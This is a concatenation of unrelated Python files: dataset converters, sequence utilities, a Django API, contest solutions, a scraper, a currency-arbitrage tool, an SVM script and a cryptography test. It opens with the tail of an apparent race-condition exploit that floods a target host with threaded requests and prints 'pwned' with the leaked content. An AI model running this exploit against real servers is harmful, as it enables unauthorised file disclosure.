    while 1:
        url = '%s?orange=%s' % (HOST, filename)
        r = requests.get(url, headers=headers)
        c = r.text
        if c and 'orange' not in c:
            print("pwned")
            print(c)

# if sys.argv[1] == '1':
#     runner = runner1
# else:
#     runner = runner2

# pool = ThreadPool(32)
# result = pool.map_async( runner, range(32) ).get(0xffff)
def main():
    for i in range(32):
        Thread(target=runner1).start()
        Thread(target=runner2).start()
if __name__ == "__main__":
    main()


#!/usr/bin/env python

from __future__ import print_function

import argparse
import glob
import json
import os
import os.path as osp
import cv2
import numpy as np
import PIL.Image
import matplotlib.pyplot as plt
import labelme

def main():
    labels_file = "labels.txt"
    in_dir = "./topcon_images"
    out_dir = "./data_dataset_voc"
    parser = argparse.ArgumentParser(
        formatter_class=argparse.ArgumentDefaultsHelpFormatter)
    args = parser.parse_args()

    if osp.exists(out_dir):
        print('Output directory already exists:', out_dir)
        quit(1)
    os.makedirs(out_dir)
    os.makedirs(osp.join(out_dir, 'JPEGImages'))
    os.makedirs(osp.join(out_dir, 'SegmentationClass'))
    os.makedirs(osp.join(out_dir, 'SegmentationClassPNG'))
    os.makedirs(osp.join(out_dir, 'SegmentationClassVisualization'))
    os.makedirs(osp.join(out_dir, 'SegmentationObject'))
    os.makedirs(osp.join(out_dir, 'SegmentationObjectPNG'))
    os.makedirs(osp.join(out_dir, 'SegmentationObjectVisualization'))
    print('Creating dataset:', out_dir)

    class_names = []
    class_name_to_id = {}
    for i, line in enumerate(open(labels_file).readlines()):
        class_id = i - 1  # starts with -1
        class_name = line.strip()
        class_name_to_id[class_name] = class_id
        if class_id == -1:
            assert class_name == '__ignore__'
            continue
        elif class_id == 0:
            assert class_name == '_background_'

        class_names.append(class_name)
    class_names = tuple(class_names)
    print('class_names:', class_names)
    out_class_names_file = osp.join(out_dir, 'class_names.txt')
    with open(out_class_names_file, 'w') as f:
        f.writelines('\n'.join(class_names))
    print('Saved class_names:', out_class_names_file)

    colormap = labelme.utils.label_colormap(255)

    for label_file in glob.glob(osp.join(in_dir, '*.json')):
        print('Generating dataset from:', label_file)
        with open(label_file) as f:
            base = osp.splitext(osp.basename(label_file))[0]
            out_img_file = osp.join(
                out_dir, 'JPEGImages', base + '.jpg')
            out_cls_file = osp.join(
                out_dir, 'SegmentationClass', base + '.npy')
            out_clsp_file = osp.join(
                out_dir, 'SegmentationClassPNG', base + '.png')
            out_clsv_file = osp.join(
                out_dir, 'SegmentationClassVisualization', base + '.jpg')
            out_ins_file = osp.join(
                out_dir, 'SegmentationObject', base + '.npy')
            out_insp_file = osp.join(
                out_dir, 'SegmentationObjectPNG', base + '.png')
            out_insv_file = osp.join(
                out_dir, 'SegmentationObjectVisualization', base + '.jpg')

            data = json.load(f)

            def to_binary(data):
                for i in range(0, len(data["shapes"])):
                    if data["shapes"][i]["label"] == "10":
                        data["shapes"][i]["label"] = "_background_"
                    else:
                        data["shapes"][i]["label"] = "1"
                return(data)

            data = to_binary(data)
            #data["imagePath"] = data["imagePath"].replace("..\\TODO\\", "").replace("..\\","").replace("Desktop\\","")
            #data["imagePath"] = os.path.join("/home/olle/PycharmProjects/thickness_map_prediction/retinal_thickness_segmentation/data/clinic_data/longitudinal_img_",
            #                                 data['imagePath'].split("/")[-1])
            #img_file = osp.join(osp.dirname(label_file), data['imagePath'])
            #img = np.asarray(PIL.Image.open(img_file))
            #PIL.Image.fromarray(img).save(out_img_file)
            try:
                cls, ins = labelme.utils.shapes_to_label(
                    img_shape=(496,512),
                    shapes=data['shapes'],
                    label_name_to_value=class_name_to_id,
                    type='instance',
                )
                ins[cls == -1] = 0  # ignore it.

                #clsv = labelme.utils.draw_label(
                #    cls, img, class_names, colormap=colormap)
                #PIL.Image.fromarray(clsv).save(out_clsv_file)
                # class label
                #labelme.utils.lblsave(out_clsp_file, cls)
                cls_stack = np.stack((cls,) * 3, axis=-1).astype(np.uint8) * 255
                cv2.imwrite(out_cls_file.replace(".npy", ".png"), cls_stack)
                # instance label
            except:
                print("record not working is: {}".format(data["imagePath"]))
                continue

if __name__ == '__main__':
    main()


"""

IntSeqMath.py by John Dorsey.

IntSeqMath.py contains tools for transforming integer sequences into other integer sequences.

"""

from collections import namedtuple

import PyGenTools
from PyGenTools import genSkipFirst

def genDelayFirstTupleItem(inputSeq,startValue): #used by genTrackDelayedSum.
  previousA = startValue
  a = None
  b = None
  for item in inputSeq:
    a, b = item
    yield (previousA, b)
    previousA = a

def genTrackInstantMean(inputNumSeq):
  currentSum = 0
  for i,item in enumerate(inputNumSeq):
    currentSum += item
    yield (currentSum/float(i+1),item)

def genTrackInstantMin(inputNumSeq):
  currentMin = None
  for i,item in enumerate(inputNumSeq):
    if i == 0:
      currentMin = item
    else:
      currentMin = min(currentMin,item)
    yield (currentMin,item)

def genTrackInstantSum(inputNumSeq):
  currentSum = 0
  for item in inputNumSeq:
    currentSum += item
    yield (currentSum,item)

def genTrackDelayedSum(inputNumSeq):
  return genDelayFirstTupleItem(genTrackInstantSum(inputNumSeq),0)

def genDeltaEncode(inputNumSeq):
  previousItem = 0
  for item in inputNumSeq:
    yield item - previousItem
    previousItem = item

def genDeltaDecode(inputNumSeq):
  previousItem = 0
  for item in inputNumSeq:
    yield item + previousItem
    previousItem += item

def genRecordLows(inputNumSeq):
  recordLow = None
  justStarted = True
  for item in inputNumSeq:
    if justStarted:
      recordLow = item
      yield item
      justStarted = False
      continue
    if item < recordLow:
      recordLow = item
      yield item

def genTrackLocalExtrema(inputNumSeq, **kwargs):
  gb = PyGenTools.GenBypass(useHistory=True)
  gb.capture(inputNumSeq)
  gbWrapped = gb.wrap(genLocalExtrema(*gb.share(), **kwargs))
  for actualIndex, gbPair in enumerate(gbWrapped):
    inputNum, outputPair = gbPair
    if outputPair is not None:
      raise NotImplementedError()
  raise NotImplementedError()

  #gbTupled = (tuple(item) for item in gbWrapped)
  #return gbTupled
  #raise NotImplementedError()
  #return genSkipFirst(genDelayFirstTupleItem(gbTupled, None), 1)

def genLocalExtrema(
    inputNumSeq,
    includeDirection=True,
    includeIndex=True, includeValue=True,
  ):

  def _check_if_local_minimum(places):
    return places[0].value > places[1].value and places[2].value > places[1].value

  def _check_if_local_maximum(places):
    return places[0].value < places[1].value and places[2].value < places[1].value

  Place = namedtuple("Place", ["relativePosition", "index", "value"])

  LEFTMOST, MIDDLE, RIGHTMOST, ONLY = "leftmost", "middle", "rightmost", "only"

  placeGen = (Place(relativePosition, index, value) for relativePosition, index, value in PyGenTools.genTrackEnds(enumerate(inputNumSeq), leftTag=LEFTMOST, middleTag=MIDDLE, rightTag=RIGHTMOST, onlyTag=ONLY, useLookahead=False, tagByExpanding=True)) #to transition to more advanced version, REMEMBER TO ALLOW LOOKAHEAD AGAIN.

  arePlacesSimilar = (lambda testPlace0, testPlace1: testPlace0.relativePosition == testPlace1.relativePosition and testPlace0.value == testPlace1.value)

  uniquePlaceGen = PyGenTools.genRunless(placeGen, func=arePlacesSimilar)

  arePlaceValuesSimilar = (lambda testPlace0, testPlace1: testPlace0.value == testPlace1.value)
  uniquePlaceGenByValuesOnly = PyGenTools.genRunless(placeGen, func=arePlaceValuesSimilar) #don't include ends!

  def optTuplePart(part, shouldExist):
    return (part,) if shouldExist else ()
  def completePlaces(places):
    assert len(places) == 3
    for i in range(len(places)):
      if places[i] is None:
        places[i] = Place(None, None, None)
    if places[0].value == None:
      places[0] = places[2]
    if places[2].value == None:
      places[2] = places[0]
    assert places[0].value is not None, places
    assert places[2].value is not None, places
  def getExtremeDirection(places):
    assert len(places) == 3
    completePlaces(places)
    isMin = _check_if_local_minimum(places)
    isMax = _check_if_local_maximum(places)
    if isMin:
      return "minimum"
    if isMax:
      return "maximum"
    return False
  def genOutputItemsFromPlaces(places):
    extremeDirection = getExtremeDirection(places)
    if not extremeDirection:
      return
    result = optTuplePart(extremeDirection, includeDirection) + optTuplePart(places[-2].index, includeIndex) + optTuplePart(places[-2].value, includeValue)
    if result[-2:] == (None, None):
      return
    yield result
    return

  placeGenToUse = uniquePlaceGenByValuesOnly

  for trackedPlaces in PyGenTools.genRollingWindowsAsLists(placeGenToUse, n=3, defaultValue=None, includePartialChunks=True):
    """
    if trackedPlaces[-1].relativePosition == LEFTMOST:
      continue
    if trackedPlaces[-1].relativePosition == ONLY:
      raise NotImplementedError("the case of only one item is not handled yet.")

    if trackedPlaces[-1].relativePosition == RIGHTMOST:
      placeAfterLastRun = Place(trackedPlaces[-1].relativePosition, trackedPlaces[-1].index+1, trackedPlaces[-1].value)
      trackedPlaces[-1] = placeAfterLastRun
      #go on! nothing yielded for this branch.

    if trackedPlaces[-2].relativePosition == LEFTMOST and trackedPlaces[-1].relativePosition == RIGHTMOST:
      raise NotImplementedError("case: one run only.")

    if trackedPlaces[-2].relativePosition == LEFTMOST:
      if trackedPlaces[-1].relativePosition == MIDDLE:
        if False and includeLeftEnd:
          for outputItem in genOutputItemsFromPlaces(trackedPlaces):
            yield outputItem
      else:
        assert False
    elif trackedPlaces[-2].relativePosition == MIDDLE:
      if trackedPlaces[-1].relativePosition == RIGHTMOST:
        if False and includeRightEnd:
          for outputItem in genOutputItemsFromPlaces(trackedPlaces):
            yield outputItem
        return
      elif trackedPlaces[-1].relativePosition == MIDDLE:
        for outputItem in genOutputItemsFromPlaces(trackedPlaces):
          yield outputItem
      else:
        assert False, trackedPlaces
    else:
      assert False, trackedPlaces
    """
    if trackedPlaces[-2] is None:
      continue
    if trackedPlaces.count(None) == 2:
      continue
    for outputItem in genOutputItemsFromPlaces(trackedPlaces):
      yield outputItem

"""
def findBasicColumnInfo(inputSeq,delimiter):
  #in tattered data (lines of different lengths), for each index counting from the left, collect info on all values that exist at that index.
  i = 0
  columnMinimums = []
  columnMaximums = []
  columnSizes = []
  columnSums = []
  columnProducts = []
  for item in inputSeq:
    if item == delimiter:
      i = 0
      continue
    if i == len(columnMinimums):
      columnMinimums.append(item)
      assert i == len(columnMaximums)
      columnMaximums.append(item)
      assert i == len(columnSizes)
      columnSizes.append(1)
      assert i == len(columnSums)
      columnSums.append(item)
      assert i == len(columnProducts)
      columnProducts.append(item)
    else:
      columnMinimums[i] = min(columnMinimums[i],item)
      columnMaximums[i] = max(columnMaximums[i],item)
      columnSizes[i] += 1
      columnSums[i] += item
      columnProducts[i] *= item
    i += 1
  return {"columnMinimums":columnMinimums, "columnMaximums":columnMaximums, "columnSizes":columnSizes, "columnSums":columnSums, "columnProducts":columnProducts}
"""
def columnSetStatReporterFun(i,item,report):
  if report == None:
    return {"size":1,"min":item,"max":item,"sum":item,"product":item}
  else:
    return {"size":report["size"]+1,"min":min(item,report["min"]),"max":max(item,report["max"]),"sum":report["sum"]+item,"product":report["product"]*item}

def findColumnInfo(inputSeq,delimiter,reporterFun):
  #in tattered data (lines of different lengths), for each index counting from the left, collect info on all values that exist at that index.
  i = 0
  columnReports = []
  for item in inputSeq:
    if item == delimiter:
      i = 0
      continue
    if i == len(columnReports):
      columnReports.append(reporterFun(i,item,None))
    else:
      columnReports[i] = reporterFun(i,item,columnReports[i])
    i += 1
  return columnReports

def applyColumnAwareFun(inputSeq,transformerFun,columnInfoArr=None):
  i = 0
  for item in inputSeq:
    if type(columnInfoArr) == list:
      modifiedItem = transformerFun(i,item,columnInfoArr[i])
    else:
      modifiedItem = transformerFun(i,item)
    reset = yield modifiedItem
    if reset:
      i = 0
      continue

assert findColumnInfo([1,5,0,6,2,4,7,0,8,8,8,8,8,8,8,8,0,999],0,(lambda i,x,r: min(x,r) if r!=None else x)) == [1,2,4,7,8,8,8,8]

assert [item for item in genDeltaDecode(genDeltaEncode([5,5,6,5,3,0,10,0]))] == [5,5,6,5,3,0,10,0]


import os
import stat

from collections import namedtuple
from glob import glob

from dlmanager import fs

File = namedtuple('File', ('path', 'stat'))

class PersistLimit(object):
    """
    Keep a list of files, removing the oldest ones when the size_limit
    is reached.

    The access time of a file is used to determine the oldests, e.g. the
    last time a file was read.

    :param size_limit: the size limit in bytes. A value of 0 means no limit.
    :param file_limit: even if the size limit is reached, this force
                       to keep at least *file_limit* files.
    """
    def __init__(self, size_limit, file_limit=5):
        self.size_limit = size_limit
        self.file_limit = file_limit
        self.files = []
        self._files_size = 0

    def register_file(self, path):
        """
        register a single file.
        """
        try:
            fstat = os.stat(path)
        except OSError:
            # file do not exists probably, just skip it
            # note this happen when backgound files are canceled
            return
        if stat.S_ISREG(fstat.st_mode):
            self.files.append(File(path=path, stat=fstat))
            self._files_size += fstat.st_size

    def register_dir_content(self, directory, pattern="*"):
        """
        Register every files in a directory that match *pattern*.
        """
        for path in glob(os.path.join(directory, pattern)):
            self.register_file(path)

    def remove_old_files(self):
        """
        remove oldest registered files.
        """
        if self.size_limit <= 0 or self.file_limit <= 0:
            return
        # sort by creation time, oldest first
        files = sorted(self.files, key=lambda f: f.stat.st_atime)
        while len(files) > self.file_limit and \
                self._files_size >= self.size_limit:
            f = files.pop(0)
            fs.remove(f.path)
            self._files_size -= f.stat.st_size
        self.files = files


from rest_framework import viewsets, filters, status
from rest_framework.response import Response
from django.shortcuts import get_object_or_404
from annoying.functions import get_object_or_None
from rest_framework.permissions import AllowAny, IsAuthenticated
from api.utils._validate_url_param import validate_pk

from .models import Farm, FarmLocation, Crop
from .serializers import FarmSerializer, FarmLocationSerializer, CropSerializer
from api.farmer.models import Farmer

class FarmViewSet(viewsets.ViewSet):
    serializer_class = FarmSerializer
    permission_classes = (IsAuthenticated,)
    queryset = Farm.objects.all()
    lookup_field = 'pk'
    http_method_names = ['get', 'post', 'patch', 'delete']

    def create(self, request, farmer_pk=None):
        queryset = self.queryset

        farmer = get_object_or_None(Farmer, id=farmer_pk)
        if not farmer:
            return Response({"errors": [{"field": "url: farmer_id", "message": "Farmer not found"}]}, status=status.HTTP_404_NOT_FOUND)

        crop_name = request.data.get('crop')

        crop = get_object_or_None(Crop, name__iexact=crop_name)

        #create new crop
        if not crop:
            crop_serializer = CropSerializer(data={'name': crop_name}, context={'request': request})
            crop_valid = crop_serializer.is_valid(raise_exception=True)

            if crop_valid:
                crop_serializer.save()
                crop = crop_serializer.data

        crop = get_object_or_None(Crop, name__iexact=crop_name)

        serializer = self.serializer_class(data=request.data, context={'request': request, 'farmer': farmer, 'crop': crop})
        valid = serializer.is_valid(raise_exception=True)

        if valid:
            serializer.save()

            status_code = status.HTTP_201_CREATED

            response = {
                'success': True,
                'statusCode': status_code,
                'message': 'Farm Created',
                'farm': serializer.data
            }

            return Response(response, status=status_code)

    def list(self, request, farmer_pk=None):
        queryset = self.queryset
        farms = queryset.filter(farmer_id=farmer_pk)
        serializer = self.serializer_class(farms, many=True)
        return Response(serializer.data)

    def retrieve(self, request, pk=None, farmer_pk=None):
        if not validate_pk(pk):
            return self.pk_error()

        queryset = self.queryset
        farmer = get_object_or_404(queryset, pk=pk, farmer_id=farmer_pk)
        serializer = self.serializer_class(farmer)
        return Response(serializer.data)

    def partial_update(self, request, pk=None, farmer_pk=None):
        if not validate_pk(pk):
            return self.pk_error()

        queryset = self.queryset

        crop_name = request.data.get('crop')

        crop = get_object_or_None(Crop, name__iexact=crop_name)

        #create new crop
        if not crop:
            crop_serializer = CropSerializer(data={'name': crop_name}, context={'request': request})
            crop_valid = crop_serializer.is_valid(raise_exception=True)

            if crop_valid:
                crop_serializer.save()
                crop = crop_serializer.data

        farm = get_object_or_404(queryset, pk=pk, farmer_id=farmer_pk)
        serializer = self.serializer_class(farm, data=request.data, context={'request': request, 'crop': crop}, partial=True)
        valid = serializer.is_valid(raise_exception=True)

        if valid:
            serializer.save()

            status_code = status.HTTP_200_OK

            response = {
                'success': True,
                'statusCode': status_code,
                'message': 'Farm Updated',
                'farmer': serializer.data
            }

            return Response(response, status=status_code)

    def destroy(self, request, pk=None, farmer_pk=None):
        if not validate_pk(pk):
            return self.pk_error()

        queryset = self.queryset
        farmer = get_object_or_404(queryset, pk=pk, farmer_id=farmer_pk)
        farmer.delete()
        return Response({"message": "Farm deleted successfully"}, status=status.HTTP_202_ACCEPTED)

    def pk_error(self):
        return Response({"errors": [{"field": "url:farmer_id", "message": "Farmer ID should be integer"}]}, status=status.HTTP_400_BAD_REQUEST)


T = int(input())

IS = "DPS"
NOT = "!DPS"

def is_dps(s):
    count = {}
    for c in s:
        count[c] = count.get(c, 0) + 1

    num_even = 0
    num_odd = 0
    for key, value in count.items():
        if value % 2 == 0:
            num_even += 1
        else:
            num_odd += 1

    if len(s) % 2 == 0:
        return num_odd == 2
    elif len(s) == 1:
        return True
    else:
        return num_odd in [1, 3]

for i in range(T):
    S = input().lower()
    if is_dps(S):
        print(IS)
    else:
        print(NOT)


# https://www.acmicpc.net/problem/1533

import sys

inp = sys.stdin.readline

MOD = 1_000_003
N, S, E, T = map(int, inp().split())

graph = [list(map(int, inp().rstrip())) for _ in range(N)]

new_N = N
for row in graph:
    row_max = max(row)
    if row_max > 1:
        new_N += (row_max - 1)

new_graph = [[0] * new_N for _ in range(new_N)]
cur_new_vertex = N
for i in range(N):
    row = graph[i]
    row_max = max(row)
    for k in range(row_max - 2):
        new_graph[cur_new_vertex + k][cur_new_vertex + k + 1] = 1
    for j, elem in enumerate(row):
        if elem == 1:
            new_graph[i][j] = 1
        elif elem >= 2:
            new_graph[i][cur_new_vertex] = 1
            new_graph[cur_new_vertex + elem - 2][j] = 1
    if row_max > 1:
        cur_new_vertex += row_max - 1

def matmul(A, B): # for square matrices A and B
    result = [[0] * new_N for _ in range(new_N)]
    for i in range(new_N):
        for k in range(new_N):
            A_ik = A[i][k]
            for j in range(new_N):
                result[i][j] = (result[i][j] + A_ik * B[k][j]) % MOD
    return result

def matexp(A, k):
    result = [[1 if i == j else 0 for i in range(new_N)] for j in range(new_N)] # identity matrix
    while k:
        if k & 1:
            result = matmul(result, A)
        k >>= 1
        A = matmul(A, A)
    return result

print(matexp(new_graph, T)[S - 1][E - 1])


import numpy as np
from PIL import Image
import matplotlib.pyplot as plt
from wordcloud import WordCloud
import re
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from webdriver_manager.chrome import ChromeDriverManager
import time
from bs4 import BeautifulSoup

driver = webdriver.Chrome(service=Service(ChromeDriverManager().install()))
url = 'https://getliner.com/user-profile/7203684' # 지속적으로 url 바뀌는 거 확인
driver.get(url)

time.sleep(1)

html = driver.page_source
soup = BeautifulSoup(html, 'html.parser')
sec = soup.select_one('section.css-auc73u')
tags = sec.select('li.css-zr54ay')
driver.quit()

collections = {}
for tag in tags:
    attr = tag['data-folder-data']
    name = re.findall('"name":"(.*?)",', attr)[0]
    page = re.findall('"savedPageCount":(.*?)}', attr)[0]
    page = int(page)
    if ', ' in name:
        names = name.split(', ')
        for n in names:
            collections[n] = page
    else:
        collections[name] = page

time.sleep(1)
font = "fonts/NanumBarunGothicBold"
font_path = f"{font}.ttf"

icon = Image.open('mask_img/Apple_logo.png')
mask = Image.new("RGB", icon.size, (255, 255, 255))
mask.paste(icon, icon)
mask = np.array(mask)

word_counts = collections
wordcloud = WordCloud(font_path=font_path, background_color="black", colormap='Reds', random_state=43, max_font_size=150, min_font_size=5, max_words=5000, mask=mask).generate_from_frequencies(word_counts)

plt.figure(figsize=(6, 6))
plt.imshow(wordcloud, interpolation="bilinear")
plt.axis("off")

plt.show(block=False)
plt.pause(3)
plt.close()
wordcloud.to_file('wordcloud_image/wordcloud2.png')


# 2079. Watering Plants (leetcode)
class Solution:
    def wateringPlants(self, plants: List[int], capacity: int) -> int:
        x = capacity
        count = 0
        for i in range(len(plants)):
            if x < plants[i]:
                count = count + i + i + 1
                x = capacity - plants[i]

            else:
                count = count + 1
                x = x - plants[i]

        return count


#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from .base import redis_cli

class SysConfig(object):
    _prefix = '_sysconfig'
    session_expire = {
        'key': 'expire_time',
        'default': 60 * 60 * 1,
        'type': int,
        'desc': "session过期时间"
    }
    per_page = {
        'key': 'per_page',
        'default': 100,
        'type': int,
        "desc": "每页显示的条目数量(后台，API)"
    }
    blog_per_page = {
        "key": "blog_per_page",
        "default": 10,
        "type": int,
        "desc": "博客中每页显示的条目数量"
    }
    cache_enable = {
        'key': 'cache_enable',
        'default': False,
        'type': bool,
        'desc': "是否开启缓存"
    }
    cache_expire = {
        'key': 'cache_expire',
        'default': 60 * 60 * 1,
        'type': int,
        "desc": "缓存过期的时间"
    }
    template_version = {
        'key': "template_version",
        'default': 'blog_startbootstrap',
        'desc': "模版版本"
    }
    template_code_skin = {
        "key": "template_code_skin",
        'default': 'doxy',
        'desc': '模版中代码块显示的皮肤(google:code-prettify库)'
    }

    # 评论限制
    comment_limit_enable = {
        "key": "comment_limit_enable",
        'default': True,
        "type": bool,
        "desc": "是否开启评论限制"
    }
    comment_limit = {
        "key": "comment_limit",
        "default": 20,
        'type': int,
        "desc": "评论限制(条/每分钟)"
    }

    @classmethod
    def get(cls, key, default=None, type=None, **kwargs):
        """获取系统配置

        :param key: 系统配置"键"
        :param default: 当系统配置不存在时使用的默认值
        :param type:
            用于对系统配置值作类型转换的可调用对象,
            如果type==bool，就会先将它转换为整数再转换为布尔值
        :return: 返回最终的系统配置值
        """
        redis_key = "{0}:{1}".format(cls._prefix, key)
        value = redis_cli.get(redis_key)
        if not value:
            return default
        if type:
            if type == bool:
                value = int(value)
            value = type(value)
        return value

    @classmethod
    def set(cls, key, value, type=None, **kwargs):
        """设置系统配置值

        :param key: 系统配置"键"
        :param value: 系统配置"值"
        :param type:
            用于对系统配置值作类型转换的可调用对象,
            如果type==bool，将这个值转换为整数类型
        """
        redis_key = "{0}:{1}".format(cls._prefix, key)
        if type:
            if type == bool:
                value = int(value)
            else:
                value = type(value)
        redis_cli.set(redis_key, value)

    @classmethod
    def incr(cls, key, increment=1):
        """为KEY增量"""
        redis_key = "{0}:{1}".format(cls._prefix, key)
        redis_cli.incr(redis_key, increment)

    @classmethod
    def expire(cls, key, seconds):
        """为KEY加入过期时间"""
        redis_key = "{0}:{1}".format(cls._prefix, key)
        redis_cli.expire(redis_key, seconds)


import numpy as np
#import array

# Create the following rank 2 array with shape (3, 4)
# [[ 1  2  3  4]
#  [ 5  6  7  8]
#  [ 9 10 11 12]]
a = np.array([[1,2,3,4], [5,6,7,8], [9,10,11,12]]) #This is a problem with eclipse

# Two ways of accessing the data in the middle row of the array.
# Mixing integer indexing with slices yields an array of lower rank,
# while using only slices yields an array of the same rank as the
# original array:
row_r1 = a[1, :]
print(row_r1)


import math
import numpy as np
import pandas_datareader as pd
import networkx as nx
import matplotlib.pyplot as plt
from forex_python.converter import CurrencyRates

class Graph:

    def __init__(self, num, labels):
        self.vertices = num
        self.arches = []
        self.tickers = labels
        self.currency_matrix = np.zeros((num, num))

    def define_arches(self, s, e, v):  # s=start, e=end, v=value
        self.arches.append([s, e, v])

    # Building a matrix data structure and appending edges to graph
    def build_graph(self):
        c = CurrencyRates()
        for i in range(self.vertices):
            for j in range(self.vertices):
                if i == j:
                    # The diagonal is always equal to 1
                    data = 1
                else:
                    # Concatenating --> ex. "USDEUR=X"
                    aux = str(self.tickers[i] + self.tickers[j] + '=X')

                    # Live exchange rate in adj close column
                    # data = round(pd.get_data_yahoo(aux).iat[-1, -1], 5)
                    data = round(float(c.get_rate(
                        self.tickers[i], self.tickers[j])), 5)

                    print(aux, data)

                # Keeping track of exchange rates
                self.currency_matrix[i][j] = data
                self.define_arches(i, j, round(-math.log(data, 10), 5))

    def Bellman_Ford(self):

        # 1° Creating graph
        print('\nCollecting data, computing Bellman Ford algorithm, searching for arbitrage opportunity...')
        self.build_graph()

        # 2° Initializing distances between vertices
        dist = [float("Inf")] * self.vertices
        path = [float("Inf")] * self.vertices
        dist[0] = 0
        path[0] = 0
        profit = 1

        # 3° Relaxing all edges and checking for short distance with nested loops
        for _ in range(self.vertices - 1):
            for s, e, v in self.arches:
                if dist[s] != float("Inf") and dist[s] + v < dist[e]:
                    dist[e] = dist[s] + v
                    path[e] = s

        # 4° Detecting negative cycles
        Neg_cycles = self.Negative_Cycle(dist, path)

        # 5° Results, if there is a negative cycle --> computing possible profit
        if not Neg_cycles:
            print("\nNo arbitrage opportunity.")
            self.Display_Graph(path, 0, 0)

        else:

            for neg_cycle in Neg_cycles:
                print("\nFound negative cycle:")
                print('  ' + " --> ".join([self.tickers[i]
                                           for i in neg_cycle[::-1]]))
                prec = neg_cycle[-1]
                for i in neg_cycle[-2::-1]:
                    profit *= self.currency_matrix[prec][i]
                    prec = i
                profit = round(profit, 4)
                print("  Profit: ", profit)
                self.Display_Graph(neg_cycle, profit, 1)

    def Negative_Cycle(self, dist, path):
        Neg_cycles = []
        flag = False
        for s, e, v in self.arches:
            # Verifying distance after the algo has converged
            if dist[s] + v < dist[e] and dist[s] != float("Inf"):
                neg_cycle = [e, s]
                aux = s  # auxiliary variable

                while path[aux] not in neg_cycle:  # Going backwards in original path
                    neg_cycle.append(path[aux])
                    aux = path[aux]
                neg_cycle.append(path[aux])

                # Selecting valid cycle
                if neg_cycle[0] == neg_cycle[-1] and len(neg_cycle) > 3:
                    Neg_cycles.append(neg_cycle)
                    flag = True

        if(flag):
            return Neg_cycles
        else:
            return False

    def Display_Graph(self, path, profit, flag):

        path_edges = []
        graph_view = nx.MultiDiGraph()

        for s, e, v in self.arches:
            graph_view.add_edge(s, e, weight=round(10**(-v), 4))

        pos = nx.circular_layout(graph_view)

        if flag == 0:

            plt.title('NO Arbitrage Opportunity, NO Negative Cycle', fontsize=20)

        else:

            # Colouring the negative cycle
            for i in range(len(path)-1):
                path_edges.append((path[i+1], path[i]))

            plt.text(-1.3, -1.3, "Found Negative Cycle: \n\n" + '  ' + " --> ".join([self.tickers[i] for i in path[::-1]])
                     + "\n\nProfit: " + str(profit),
                     bbox=dict(boxstyle="square", facecolor="white"), size=12.5)
            plt.title('ARBITRAGE OPPORTUNITY', fontsize=20)

        edge_labels = dict([((u, v,), d['weight'])
                            for u, v, d in graph_view.edges(data=True)])
        edge_colors = [
            'black' if not edge in path_edges else 'red' for edge in graph_view.edges()]
        node_colors = ['green' for path in graph_view.nodes()]

        labels = {}
        for i in range(len(self.tickers)):
            labels[i] = self.tickers[i]

        nx.draw_networkx_edge_labels(
            graph_view, pos, label_pos=0.28, edge_labels=edge_labels)
        nx.draw(graph_view, pos, node_size=1500, node_color=node_colors, edge_color=edge_colors, with_labels=False,
                connectionstyle='arc3, rad = 0.1')
        nx.draw_networkx_labels(graph_view, pos, labels,
                                font_size=16, font_color='black')

        plt.show()

if __name__ == "__main__":

    tickers = []

    print('Insert number of currencies: ')
    numV = int(input())

    print('Insert tickers of currencies (3-letter symbols): ')

    for x in range(numV):
        tickers.append(str(input()))

    g = Graph(numV, tickers)
    g.Bellman_Ford()


import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
import svm as supv
from matplotlib.pyplot import cm

#Train data
vals = pd.read_csv("./Data/bank-note/train.csv",names=["x1","x2","x3","x4","y"])
vals = vals.values
label = vals[:,-1]

label[label==0]=-1

vals = np.delete(vals, -1, axis=1)

weights = np.zeros(vals.shape[1])

vals = np.concatenate((np.ones([vals.shape[0],1], dtype=np.int),vals),axis=1)

#Test data
testvals = pd.read_csv("./Data/bank-note/test.csv",names=["x1","x2","x3","x4","y"])
testvals = testvals.values
testlabel = testvals[:,-1]
testvals = np.delete(testvals, -1, axis=1)
testvals = np.concatenate((np.ones([testvals.shape[0],1], dtype=np.int),testvals),axis=1)

#weights = np.zeros(vals.shape[1])
testlabel[testlabel==0]=-1

cfrac = [1/873, 10/873,50/873,100/873,300/873,500/873,700/873]

#epochs = 1500
#lrnrate = 0.2
epochs = 100
lrnrate = 0.6

for val in cfrac:

	weightsp = np.array(weights)

	vecmac = supv.Svm(vals, weightsp, label)

	prim = vecmac.primal(epochs, lrnrate, val,lrch=2)

	spr = np.sign(np.dot(prim, testvals.T))
	print("\n________")
	print("\n\n C VAL:", val)
	print("Weight vector:",prim)
	print("Accuracy:",((np.sum(spr==testlabel))/testlabel.size))


#!/usr/bin/env python

from setuptools import setup

VERSION = '0.1.0'
DESC = open('README.rst').read()

setup(
    name = 'sturl',
    packages = ['sturl'],
    version = VERSION,
    description = 'URLs for humans',
    long_description = DESC,
    author = 'Adrian Ghizaru',
    author_email = 'adrian.ghizaru@gmail.com',
    url = 'https://github.com/aGHz/sturl',
    license = 'MIT',

    install_requires = [
    ],

    tests_require = ['nose', 'rednose', ],
    test_suite = 'nose.collector',

    zip_safe = False,
    include_package_data = True,
    package_data = {'': ['LICENSE', 'README.rst']},

    classifiers = [
        'Development Status :: 3 - Alpha',
        #'Development Status :: 4 - Beta',
        'Intended Audience :: Developers',
        'License :: OSI Approved :: MIT License',
        'Topic :: Internet',
        'Topic :: Internet :: WWW/HTTP',
    ],
    keywords = ['url'],

    download_url = 'https://github.com/aGHz/sturl/tarball/{v}'.format(v=VERSION)
)


import json
import unittest
from binascii import unhexlify

from Crypto.SelfTest.st_common import list_test_cases
from Crypto.SelfTest.loader import load_test_vectors_wycheproof

from Crypto.Util.py3compat import tobytes, bchr
from Crypto.Cipher import AES
from Crypto.Hash import SHAKE128

from Crypto.Util.strxor import strxor

def get_tag_random(tag, length):
    return SHAKE128.new(data=tobytes(tag)).read(length)

class SivTests(unittest.TestCase):

    key_256 = get_tag_random("key_256", 32)
    key_384 = get_tag_random("key_384", 48)
    key_512 = get_tag_random("key_512", 64)
    nonce_96 = get_tag_random("nonce_128", 12)
    data = get_tag_random("data", 128)

    def test_loopback_128(self):
        for key in self.key_256, self.key_384, self.key_512:
            cipher = AES.new(key, AES.MODE_SIV, nonce=self.nonce_96)
            pt = get_tag_random("plaintext", 16 * 100)
            ct, mac = cipher.encrypt_and_digest(pt)

            cipher = AES.new(key, AES.MODE_SIV, nonce=self.nonce_96)
